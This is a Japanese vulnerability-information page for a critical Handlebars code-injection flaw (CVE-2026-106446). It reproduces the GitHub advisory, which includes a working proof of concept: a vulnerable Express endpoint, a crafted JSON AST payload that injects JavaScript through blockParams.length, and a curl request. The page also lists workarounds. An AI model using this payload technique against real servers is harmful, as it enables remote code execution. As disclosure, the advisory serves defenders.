GUARD SAGAS

Handlebarsにコードインジェクションの脆弱性(CVE-2026-106446)

公開日 危険度:重大

概要

Handlebarsにコードインジェクションの脆弱性が確認されました。

バージョン 4.0.0 以上 4.7.10 未満に影響があります。

修正版 4.7.10 への更新が推奨されます。

脆弱性の基本情報

脆弱性ID CVE-2026-106446
GHSA-8r5x-fm3f-whwj
脆弱性の種類コードインジェクション (CWE-94)
危険度重大
CVSSスコア 9.8(CVSS v3.x) 評価元:OSV.dev
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
公開日2026年10月8日

影響を受ける製品

製品影響を受けるバージョン修正版出典
Handlebars
JavaScriptライブラリ
4.0.0 以上 4.7.10 未満 4.7.10 OSV.dev

推奨対応

  • Handlebarsを修正版 4.7.10 またはそれ以降の公式最新版へ更新してください。

情報元の原文

OSV.dev(GitHub Advisory Database) GHSA-8r5x-fm3f-whwj

Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

## Summary `Handlebars.compile()` and `Handlebars.precompile()` accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on `PathExpression`, `NumberLiteral` and `BooleanLiteral` nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked. If an application passes an untrusted object to `compile()` or `precompile()`, such as a parsed JSON request body, that object can carry arbitrary JavaScript. With `compile()`, the code runs on the server when the template renders. With `precompile()`, it ends up in the precompiled output and runs wherever that output is loaded. Applications that only ever pass template **strings** are not affected. This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r. ## Details The 4.7.9 validator runs in `parseWithoutProcessing()` and walks the whole AST. It only checks values on nodes whose `type` is `PathExpression`, `NumberLiteral` or `BooleanLiteral`. It passes over plain objects without a `type`, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is: | AST value | Written into generated code as | Compile options needed | | --- | --- | --- | | `Program.blockParams.length` | `container.program(<index>, data, <length>)` | none (default options) | | `depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral` | `depths[<depth>]` | `stringParams: true` | | A `StringLiteral.value` that is not a string | raw JavaScript literal | `stringParams: true` | | A `PathExpression.original` that is not a string | raw JavaScript literal | `stringParams: true` | The first row works with default options. A `Program` with `blockParams: { "length": "<JS expression>" }` passes validation because: 1. the `blockParams` object has no `type`, so none of the type-specific checks apply, and 2. the walker skips the string under `length` because it is not an object. The compiler then reads `program.blockParams.length` and writes the string directly into the template function. The `container.program(...)` call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist. ## Proof of Concept 1. Start a server that compiles request input: ```js import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string res.send(template()); }); app.listen(2123); ``` 2. Save this request body as `poc.json`. `missingHelper` does not need to exist: ```json { "text": { "type": "Program", "loc": { "start": { "line": 1, "column": 0 } }, "body": [ { "type": "BlockStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["missingHelper"], "original": "missingHelper", "loc": { "start": { "line": 1, "column": 0 } } }, "params": [], "program": { "type": "Program", "blockParams": { "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()" }, "body": [], "loc": { "start": { "line": 1, "column": 0 } } }, "openStrip": { "open": false, "close": false }, "inverseStrip": { "open": false, "close": false }, "closeStrip": { "open": false, "close": false }, "loc": { "start": { "line": 1, "column": 0 } } } ] } } ``` 3. Send the request: ```sh curl -s -X POST 'http://127.0.0.1:2123/api/render' \ -H 'Content-Type: application/json' --data-binary @poc.json ``` The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process: ``` Error: Injected code ran as uid 1000 ``` ## Impact An application is affected if untrusted input can reach `Handlebars.compile()` or `Handlebars.precompile()` as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to `compile()`. - **`compile()`**: arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution). - **`precompile()`**: the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers. ## Workarounds - **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value. ```javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } ``` - Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable. ## Credits ### Variant `Program.blockParams` - [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33) - [jmoritzc53 ](https://github.com/jmoritzc53) - [bhaswanthc ](https://github.com/bhaswanthc) - [dinhvaren ](https://github.com/dinhvaren) - [n0tra4e ](https://github.com/n0tra4e) - [PellaML](https://github.com/PellaML) - [kustundag](https://github.com/kustundag) - [kagebunsher](https://github.com/kagebunsher) - [sanmatte](https://github.com/sanmatte) ### Variant `BooleanLiteral|NumberLiteral.value` - [sondt99 ](https://github.com/sondt99) Thai Son Dinh from VinSOC Labs (R&D) - [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob) - [nikolakojic-rasit ](https://github.com/nikolakojic-rasit) - [vk-can](https://github.com/vk-can) - [shenhuanageshei](https://github.com/shenhuanageshei) - [kustundag](https://github.com/kustundag) - [kagebunsher](https://github.com/kagebunsher) - [ffasterss](https://github.com/ffasterss) ### Variant `PathExpression.depth` - [hibrian827](https://github.com/hibrian827) Team Atlanta - [oss-security-shopify](https://github.com/oss-security-shopify)
利用条件:CC BY 4.0
出典: GitHub Advisory Database(OSV.dev 経由で取得)。原文のまま掲載(改変なし)

情報元

このページは各情報源から定期取得した情報を自動で掲載しています。日本語の表示は取得済みのデータ(製品・影響バージョン・修正版・CVSS 等)から定型文で作成しており、AIによる生成・翻訳は行っていません。取得できていない情報は表示していません。最新の情報は情報元でご確認ください。

あなたのサイトは大丈夫ですか?

GUARD SAGAS の無料診断で、CMS・サーバーのバージョンや既知の脆弱性への該当状況を確認できます。

無料診断をはじめる

← 脆弱性情報の一覧へ